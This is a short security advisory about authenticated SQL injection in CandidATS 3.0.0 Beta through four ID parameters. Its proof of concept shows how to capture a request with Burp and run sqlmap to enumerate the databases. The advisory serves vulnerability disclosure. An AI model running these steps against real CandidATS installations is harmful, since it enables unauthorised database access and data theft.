CandidATS 3.0.0 - Authenticated SQL Injection

Description

CandidATS Version 3.0.0 Beta allows an authenticated user to inject SQL queries in /index.php?m=settings&a=show via the userID parameter, in /index.php?m=candidates&a=show via the candidateID, in /index.php?m=joborders&a=show via the jobOrderID and /index.php?m=companies&a=show via the companyID parameter

Proof of Concept

1. Log in to CandidATS with a user who has permissions to read job orders, candidates or companies.

2. Go to index.php?m=joborders (or any of the option above).

3. Uncheck the Only My Companies option.

4. Select any of the items listed and intercept the request with BurpSuite.

5. It is possible to inject sql sentences inside the companyID parameter, for example, the following request will make the database sleep for 5 seconds.

6. Save the intercepted request into a file.

   GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
   Host: 172.16.28.136
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
   
   

7. Run the following command from sqlmap in order to extract information from the database.

   sqlmap -r companyId.req -p companyID --dbs --batch

Exploit

It is possible to use sqlmap in order to extract information from the database

Mitigation

This information will be released later according to our Responsible Disclosure Policy.

References

• Vendor page https://candidats.net/forums/